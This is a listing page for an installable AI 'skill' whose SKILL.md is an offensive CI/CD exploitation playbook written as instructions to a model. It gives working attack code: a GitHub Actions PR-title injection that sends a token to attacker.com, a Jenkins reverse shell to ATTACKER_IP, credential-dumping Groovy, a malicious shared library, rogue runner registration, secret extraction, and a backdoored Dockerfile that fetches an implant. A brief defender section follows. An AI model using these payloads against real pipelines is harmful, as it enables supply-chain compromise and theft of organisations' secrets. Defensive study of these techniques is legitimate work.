Offensive Cicd Pipeline logo

Offensive Cicd Pipeline

CommunityPopular
SnailSploit
offensive-cicd-pipeline

Comprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline agent compromise with service connection theft. Includes artifact poisoning techniques across all platforms, tooling guidance for gato and jenkins-attack-framework, and maps to MITRE ATT&CK T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain). Covers enumeration of pipeline configurations, privilege escalation from contributor to code execution, lateral movement through pipeline trust boundaries, and persistence via modified workflow definitions. Each technique section provides working exploitation code, detection indicators, and defensive countermeasures.

Overview

PublisherSnailSploit
RepositoryClaude-Red
Skill nameoffensive-cicd-pipeline
Stars
6K
Forks
775
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by SnailSploit on GitHub. Read the source before you install it.

Installation

Install the Offensive Cicd Pipeline AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p .claude/skills
cp -r /tmp/Claude-Red/Skills/cicd/offensive-cicd-pipeline .claude/skills/offensive-cicd-pipeline
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Offensive Cicd Pipeline in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Offensive Cicd Pipeline on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Offensive Cicd Pipeline is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Offensive CI/CD Pipeline Exploitation

CI/CD pipelines represent one of the highest-value targets in modern infrastructure. A compromised pipeline grants code execution in trusted contexts, access to deployment credentials, and the ability to inject malicious code into production artifacts. You exploit the implicit trust that organizations place in their build systems -- pipelines run code with elevated privileges, hold secrets for deployment, and operate with minimal monitoring compared to production systems.

This skill covers exploitation across the four dominant CI/CD platforms. You enumerate pipeline configurations, identify injection points, escalate from contributor-level access to arbitrary code execution, and leverage pipeline trust to move laterally through environments.

MITRE ATT&CK: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)

Quick Workflow

  1. Enumerate accessible repositories and their pipeline configurations (.github/workflows/, Jenkinsfile, .gitlab-ci.yml, azure-pipelines.yml).
  2. Identify the trigger model -- which events execute pipelines, and which contexts carry attacker-controlled input.
  3. Map token scopes and available secrets for each pipeline context.
  4. Select the injection vector matching your access level (contributor, external PR, authenticated user).
  5. Craft the payload for the target platform's expression language or script engine.
  6. Execute and capture output -- secrets, tokens, or artifact modification.
  7. Pivot using captured credentials to expand access to other pipelines, registries, or infrastructure.

GitHub Actions Expression Injection

GitHub Actions evaluates expressions in ${{ }} contexts. When attacker-controlled data flows into these expressions without sanitization, you achieve arbitrary command injection in the runner context.

The most common injection surfaces are PR titles, issue bodies, branch names, and commit messages that flow into run: steps or action inputs.

Identify vulnerable workflows by searching for direct interpolation of event data:

bash
# Search for expression injection sinks in workflow files
grep -rn '\${{.*github\.event\.' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.pull_request\.title' .github/workflows/
grep -rn '\${{.*github\.event\.issue\.body' .github/workflows/
grep -rn '\${{.*github\.event\.comment\.body' .github/workflows/
grep -rn '\${{.*github\.event\.discussion\.body' .github/workflows/

A vulnerable workflow looks like this:

yaml
# Vulnerable: PR title flows directly into shell execution
name: PR Greeting
on: pull_request_target
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "Thanks for PR: ${{ github.event.pull_request.title }}"

You inject through the PR title:

text
"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #

For workflow_run abuse, a workflow triggered by workflow_run runs in the context of the default branch but can access artifacts from the triggering workflow. You upload a poisoned artifact from a PR workflow, then the workflow_run workflow processes it with elevated privileges:

yaml
# Attacker's PR modifies the artifact upload step
- uses: actions/upload-artifact@v4
  with:
    name: pr-data
    path: payload.sh

# The workflow_run handler in the default branch processes artifacts unsafely
on:
  workflow_run:
    workflows: ["PR Build"]
    types: [completed]
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
      - run: bash pr-data/payload.sh  # Executes attacker's code with write access

Enumerate GITHUB_TOKEN permissions to understand your execution scope:

bash
# Inside a compromised workflow step, dump token permissions
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  -H "Accept: application/vnd.github+json" \
  https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'

# Check if the token can push to the repository
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main

Composite action supply chain attacks target reusable actions referenced without SHA pinning:

yaml
# Vulnerable: references a tag that can be force-pushed
- uses: org/custom-action@v1

# Secure: references an immutable commit SHA
- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2

Use gato to enumerate and exploit GitHub Actions misconfigurations:

bash
# Enumerate self-hosted runners and vulnerable workflows
gato enumerate -t ghp_TOKENHERE -r org/repo
gato enumerate -t ghp_TOKENHERE -o target-org

# Search for expression injection across an organization
gato search -t ghp_TOKENHERE -o target-org -sg

Jenkins Exploitation

Jenkins presents a broad attack surface through its script console, build configurations, shared libraries, and the Java remoting protocol. You target Jenkins when you discover it exposed on the network or when you obtain any level of authenticated access.

Groovy Script Console RCE

If you have access to the script console (requires Overall/RunScripts permission), you have unrestricted code execution on the Jenkins controller:

groovy
// Direct command execution via script console
def cmd = "id && cat /etc/passwd".execute()
println cmd.text

// Reverse shell from Jenkins controller
def proc = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()

// Read Jenkins secrets directly
import hudson.util.Secret
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials

def creds = CredentialsProvider.lookupCredentials(
    StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null
)
creds.each { c ->
    println("ID: ${c.id}")
    println("Username: ${c.username}")
    println("Password: ${c.password.plainText}")
    println("---")
}

Groovy Sandbox Escape

Pipeline scripts run in a Groovy sandbox, but you bypass it through meta-programming and reflection:

groovy
// Sandbox escape via meta-class manipulation
@Grab('commons-io:commons-io:2.11.0')
import org.apache.commons.io.IOUtils

// Bypass via method pointer and reflection
def bypass = evaluate('''
class Evil {
    static void main(String[] args) {}
    static Object run() {
        def proc = "id".execute()
        return proc.text
    }
}
Evil.run()
''')
println bypass

Jenkins Remoting Deserialization

When the Jenkins remoting port (typically 50000) is exposed, you exploit Java deserialization vulnerabilities:

bash
# Identify Jenkins remoting port
nmap -sV -p 50000 TARGET_IP

# Use ysoserial to generate deserialization payloads
java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER_IP/pwned' > payload.bin

# Deliver via the JNLP protocol
python3 jenkins_exploit.py --target TARGET_IP:50000 --payload payload.bin

Shared Library Injection

Jenkins shared libraries loaded via @Library are a supply chain vector. If you compromise the library repository, every pipeline using it executes your code:

groovy
// Malicious shared library vars/deploy.groovy
def call(Map config) {
    // Original functionality preserved to avoid detection
    sh "kubectl apply -f ${config.manifest}"

    // Injected exfiltration
    sh '''
        env | base64 | curl -X POST -d @- https://attacker.com/collect
    '''
}

Use jenkins-attack-framework for systematic exploitation:

bash
# Enumerate Jenkins instance
python3 jaf.py --url https://jenkins.target.com --enumerate

# Dump all credentials with valid session
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" --dump-creds

# Execute command via available build nodes
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" \
  --exec "whoami" --node "linux-build-01"

GitLab CI Exploitation

GitLab CI pipelines execute based on .gitlab-ci.yml and support powerful features that create exploitation opportunities. You target variable injection, runner abuse, and trust boundary violations between merge requests and protected branches.

YAML Injection via Merge Requests

When a project allows merge request pipelines from forks, the attacker's .gitlab-ci.yml executes on the target's runners:

yaml
# Attacker's .gitlab-ci.yml in a fork
stages:
  - exploit

dump_secrets:
  stage: exploit
  script:
    - env | sort
    - cat /etc/hosts
    - curl -sS --header "PRIVATE-TOKEN: $CI_JOB_TOKEN" \
        "https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | python3 -m json.tool
    - |
      # Attempt to read secrets from runner filesystem
      find / -name "*.env" -o -name "credentials" -o -name "*.key" 2>/dev/null | head -20
      cat ~/.docker/config.json 2>/dev/null || true

Runner Registration Token Abuse

If you obtain a runner registration token, you register a rogue runner that intercepts jobs:

bash
# Register a malicious runner with broad tag matching
gitlab-runner register \
  --non-interactive \
  --url "https://gitlab.target.com/" \
  --registration-token "GR1348941_STOLEN_TOKEN" \
  --executor "shell" \
  --description "build-node-07" \
  --tag-list "docker,linux,build,deploy" \
  --run-untagged="true"

# The rogue runner now receives jobs and can:
# 1. Capture all environment variables including secrets
# 2. Modify build artifacts before they are published
# 3. Inject code into deployment payloads

CI Variable Extraction

Enumerate and extract CI/CD variables using the API with a compromised token:

bash
# List project-level variables
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/projects/PROJECT_ID/variables" | jq '.[] | {key, value, protected, masked}'

# List group-level variables (inherited by all projects)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/groups/GROUP_ID/variables" | jq '.[] | {key, value}'

# Instance-level variables (requires admin)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'

Protected Branch Bypass

Exploit the gap between merge request pipelines and branch pipelines to run code in protected contexts:

bash
# Create a merge request that modifies .gitlab-ci.yml
# The MR pipeline runs with the source branch's CI config
# but in the context of the target project's runners and variables

# If the project has "Run pipelines for merge requests from forked projects" enabled,
# your fork's .gitlab-ci.yml executes on their infrastructure
git checkout -b exploit-branch
cat > .gitlab-ci.yml << 'EOF'
protected_job:
  script:
    - echo "$DEPLOY_KEY" | base64
    - echo "$AWS_SECRET_ACCESS_KEY" | base64
  only:
    - merge_requests
EOF
git add .gitlab-ci.yml && git commit -m "Update CI config" && git push origin exploit-branch

Azure DevOps Pipeline Exploitation

Azure DevOps pipelines use YAML or classic editor definitions. You target pipeline agent compromise, service connection abuse, and variable group extraction.

Pipeline Agent Abuse

Self-hosted agents retain state between builds. You exploit this persistence:

yaml
# azure-pipelines.yml payload targeting self-hosted agent
trigger: none
pr: none

pool:
  name: 'Self-Hosted-Pool'

steps:
- script: |
    # Enumerate the agent environment
    whoami
    hostname
    env | sort

    # Search for cached credentials on the agent
    find /home/ -name ".kube" -o -name ".aws" -o -name ".azure" 2>/dev/null
    cat /home/*/.kube/config 2>/dev/null
    cat /home/*/.aws/credentials 2>/dev/null

    # Check for Docker credentials
    cat /home/*/.docker/config.json 2>/dev/null

    # Look for other pipeline artifacts left behind
    ls -la /agent/_work/
    find /agent/_work/ -name "*.env" -o -name "*.key" -o -name "*.pem" 2>/dev/null
  displayName: 'Agent Recon'

Service Connection Theft

Service connections in Azure DevOps store credentials for external systems. You extract them through pipeline execution:

yaml
steps:
- task: AzureCLI@2
  inputs:
    azureSubscription: 'Production-Azure-Connection'
    scriptType: 'bash'
    scriptLocation: 'inlineScript'
    inlineScript: |
      # The task injects credentials as environment variables
      echo "Tenant: $tenantId"
      echo "Client: $servicePrincipalId"

      # Extract the service principal token
      az account get-access-token --output json

      # Use the managed identity to enumerate Azure resources
      az resource list --output table
      az keyvault list --output table
      az keyvault secret list --vault-name TARGET_VAULT --output table

Variable Group Extraction

bash
# Use the Azure DevOps REST API with a compromised PAT
PAT="STOLEN_PAT_HERE"
ORG="target-org"
PROJECT="target-project"

# List variable groups
curl -sS -u ":$PAT" \
  "https://dev.azure.com/$ORG/$PROJECT/_apis/distributedtask/variablegroups?api-version=7.0" \
  | jq '.value[] | {name, variables}'

# List service connections
curl -sS -u ":$PAT" \
  "https://dev.azure.com/$ORG/$PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" \
  | jq '.value[] | {name, type, authorization}'

Artifact Poisoning

Artifact poisoning targets the handoff between build and deploy stages. You modify build outputs to inject malicious code into deployment packages.

bash
# GitHub Actions: Intercept artifact upload
# In a compromised build step, modify artifacts before upload
echo 'curl https://attacker.com/beacon' >> dist/entrypoint.sh

# GitLab CI: Poison the artifact cache
# Shared caches between pipelines allow cross-job poisoning
cat > .gitlab-ci.yml << 'EOF'
poison_cache:
  script:
    - echo 'malicious_payload()' >> node_modules/.cache/babel-loader/payload.js
  cache:
    key: shared-build-cache
    paths:
      - node_modules/
    policy: push
EOF

# Jenkins: Modify stashed files between stages
# If you control a build node, modify files after stash
# The unstash on a different node receives your modified files

Container image poisoning in registry pipelines:

dockerfile
# Inject a backdoor layer into a build pipeline's Dockerfile
FROM base-image:latest
# Legitimate build steps
COPY . /app
RUN npm install && npm run build
# Injected persistence
RUN curl -sS https://attacker.com/implant -o /usr/local/bin/.svc && chmod +x /usr/local/bin/.svc
ENTRYPOINT ["/usr/local/bin/.svc", "--", "/app/entrypoint.sh"]

Detection / Defender View

Defenders should monitor for these indicators across their CI/CD platforms:

  • Workflow modifications: Alert on changes to .github/workflows/, Jenkinsfile, .gitlab-ci.yml, or azure-pipelines.yml in pull requests from external contributors or forks.
  • Unusual runner registration: New runner registrations, especially with broad tag matching or from unexpected IP ranges.
  • Secret access patterns: CI jobs accessing secrets they have not historically used, or secrets being accessed in PR-triggered pipelines.
  • Expression injection signatures: PR titles or issue bodies containing shell metacharacters ($(), backticks, semicolons, pipe operators) adjacent to workflow trigger events.
  • Artifact integrity: Hash verification of build artifacts between pipeline stages; unexpected changes indicate poisoning.
  • Token scope anomalies: GITHUB_TOKEN or CI_JOB_TOKEN making API calls outside the expected scope of the pipeline (e.g., accessing other repositories, modifying branch protections).
  • Jenkins audit log: Script console access, credential enumeration via the API, and new node registrations from unauthorized sources.
  • Build duration anomalies: Compromised builds often take longer due to exfiltration steps or additional network calls.
  • Outbound network from runners: Build agents making connections to unexpected external hosts, especially data exfiltration over DNS or HTTPS to non-registry domains.

Key defensive controls:

  • Pin all GitHub Actions to full commit SHAs, not tags.
  • Restrict pull_request_target usage and never check out PR code in that context.
  • Use ephemeral runners that are destroyed after each job.
  • Implement OIDC for cloud authentication instead of storing long-lived credentials.
  • Enable branch protection rules requiring review for workflow file changes.
  • Segment runner pools by trust level -- never share runners between public and private repositories.

Engagement Cheatsheet

PlatformVectorAccess RequiredImpact
GitHub ActionsExpression injectionFork/PR (none)Runner RCE
GitHub Actionsworkflow_run artifact poisonFork/PR (none)Default branch RCE
GitHub ActionsComposite action supply chainAction repo writeAll consumers RCE
JenkinsScript consoleRunScripts permissionController RCE
JenkinsGroovy sandbox escapeBuild configureController RCE
JenkinsRemoting deserializationNetwork access (50000)Controller RCE
JenkinsShared library injectionLibrary repo writeAll consumers RCE
GitLab CIMR pipeline YAML injectionFork (none)Runner RCE
GitLab CIRunner token registrationToken leakJob interception
GitLab CIVariable extractionAPI tokenSecret theft
Azure DevOpsAgent persistencePipeline editAgent RCE
Azure DevOpsService connection theftPipeline editCloud access
All PlatformsArtifact poisoningBuild step compromiseSupply chain

Key References

Frequently asked questions

What does the Offensive Cicd Pipeline AI skill do?

Comprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline...

Why use Offensive Cicd Pipeline on TypingMind?

Because you install it once and use it with any model. Offensive Cicd Pipeline is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Offensive Cicd Pipeline in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/SnailSploit/Claude-Red/tree/main/Skills/cicd/offensive-cicd-pipeline. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Offensive Cicd Pipeline?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Offensive Cicd Pipeline?

As many as you like. As long as a model supports skills, you can use Offensive Cicd Pipeline with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Offensive Cicd Pipeline AI skill free?

Yes. It is published on GitHub by SnailSploit under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇